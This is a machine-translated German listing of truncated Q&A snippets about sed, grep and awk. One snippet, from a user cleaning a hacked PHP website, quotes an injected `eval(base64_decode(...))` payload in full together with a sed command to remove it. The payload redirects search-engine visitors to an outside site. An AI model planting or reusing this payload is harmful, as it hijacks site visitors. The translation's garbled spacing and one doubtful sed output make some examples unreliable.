Stimmt im folgenden Beispiel sedmit Zeilen überein, die mit einem aoder a beginnen, cund gibt das erste Zeichen dieser Zeile ( aoder c) aus: $ echo "ag bh ci dj ek fl" | sed 's/\(a\|c\)./\1/' # Matches lines starting with 'a' or 'c'. output: a bh c dj ek fl …
Ich möchte in einer bestimmten Datei nach einer bestimmten Zeichenfolge suchen. Wenn ich die Zeichenfolge gefunden habe, möchte ich auch die Zeilen der Zeile X vor (oder nach) dieser Zeile drucken. Kann das mit grep oder awk oder brauche ich eine Kombination? Ich möchte so etwas wie haben , diese …
Ich habe zwei Dateien huge.txtund small.txt. huge.txthat rund 600 Millionen Zeilen und es ist 14 GB. Jede Zeile enthält vier durch Leerzeichen getrennte Wörter (Token) und schließlich eine weitere durch Leerzeichen getrennte Spalte mit einer Nummer. small.txthat 150K Zeilen mit einer Größe von ~ 3M, einem durch Leerzeichen getrennten Wort …
Um einige Daten in ein bestimmtes Tool importieren zu können, muss ich eine CSV-Datei aus diesem Format transformieren "data","data","data data","data","123" in dieses Format data;data;data data;data;123 Die Spalten enthalten nie ", ;oder ,aber es können Räume. Derzeit verwende ich Folgendes sed -e 's/","/;/g' -e 's/"//g' input.csv > output.csv Obwohl dies gut …
Wie können Sie sed verwenden, um die gesamte erste Zeile einer Datei durch diese erste Zeile plus zusätzlichen Text zu ersetzen? Wie kann ich beispielsweise -fooan eine Datei anhängen , die nur eine Zeile enthält ? testfile Inhalt beginnt: some-text testfile Inhalt Ende: some-text-foo
Hintergrund Betrachten Sie den folgenden Text: There are three types of font families: serif, sans serif, and teletype. To switch between these families, use <cmd>rm</cmd> for serif, <cmd>ss</cmd> for sans serif, and <cmd>tt</cmd> for teletype. Ich möchte ändern <cmd>x</cmd>zu {{cmd|x}}, wie folgt: There are three types of font families: serif, …
Bei einer Textdatei mit durch Leerzeichen getrenntem String und einer durch Tabulatoren getrennten Ganzzahl möchte ich alle Wörter entfernen, die nicht aus Alpha bestehen, aber Wörter, die nur aus Alpha-Zeichen bestehen, und die Tabulatortaste sowie die Ganzzahl danach beibehalten. Meine Versuche, wie die unten, haben nichts gebracht. Was ich ausdrücken …
Ich habe eine Datei mit einem ähnlichen Format ... 16:28 asdfasdf 16:29 4398upte 16:30 34liuthr 16:31 34tertio Wie kann ich mit SED jede Zeile einschließlich und nach der Zeile mit "16:30" ausdrucken? Das Ergebnis wäre ... 16:30 34liuthr 16:31 34tertio Im Moment benutze ich sed wie folgt, aber ich muss …
Ich versuche, ein Shell-Skript zu verstehen, das verwendet sed. Ich stellte fest, dass es einige Orte gab, an denen sed wurde mit dem angerufen -e Möglichkeit. Ich habe versucht, die zu sehen man Seite und es erwähnt nur, -e Befehl Hängen Sie die durch das Befehlsargument angegebenen Bearbeitungsbefehle an die …
Ich benutze die zsh Schale. Ich versuche es zu benutzen sed um Text in vielen Dateien zu ersetzen, verwenden Sie parallel, um den Prozess zu beschleunigen. Wenn ich dies an einer Datei getestet habe und die Befehlsausgabe zu gehen lasse stdout Ich habe das erwartete Ergebnis gesehen. Als ich versuchte, …
Ich versuche, die Befehle auf http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ zu verwenden, um einen PHP-basierten Hack zu bereinigen auf einer Website. Beispielcode zum Abgleichen / Entfernen <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Versuchter Befehl: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' Das Sudo wurde hinzugefügt, da es eine Lese- / Schreibberechtigung für …
sed -e 's/cluster_name: 'Test Cluster'/cluster_name: 'Test Cluster1'/' Ich habe diese Fehlermeldung: sed: -e expression, char 20: unterminated `s' command Wie kann ich den sed-Befehl korrigieren?
Ich möchte jede Zeile löschen, die ein Muster nach der ersten Zeile enthält (das Muster ist /^country\t/ ). Ich kann löschen jeden Vorkommen mit sed '/^country\t/d' in.txt > out.txt, aber ich möchte das erste Vorkommen in der ersten Zeile behalten. Die Hintergrundgeschichte ist, dass ich ein Verzeichnis tabulatorgetrennter Dateien mit …
Bitte geben Sie an, wie Sie nur das zweite "." Zeichen aus der Versionsnummer mit awk Ich muss die Syntax für Linux & amp; Solaris Ich schreibe die sed "s'/\./ /g'" - aber diese Syntax entfernen alle "." von der Versionsnummer zum Beispiel (Versionsnummer vorher) 34.34.55.4 nach sed manipulation wird …
Ich versuche sed (4.2.2-4 + b1 debian 8 (jessie)) zu verwenden, um Text in mehreren Dateien zu ersetzen. Um davon auszugehen: $var1 = array(foo=>"bar",bar=>"foo"); $var2 = array( foo=>"bar", bar=>"foo" ); $var1 = array( foo=>"bar", bar=>"foo" ); Um dies zu bekommen: $var1 = array( "foo" => "bar","bar" => "foo"); $var2 = …
We use cookies and other tracking technologies to improve your browsing experience on our website,
to show you personalized content and targeted ads, to analyze our website traffic,
and to understand where our visitors are coming from.
By continuing, you consent to our use of cookies and other tracking technologies and
affirm you're at least 16 years old or have consent from a parent or guardian.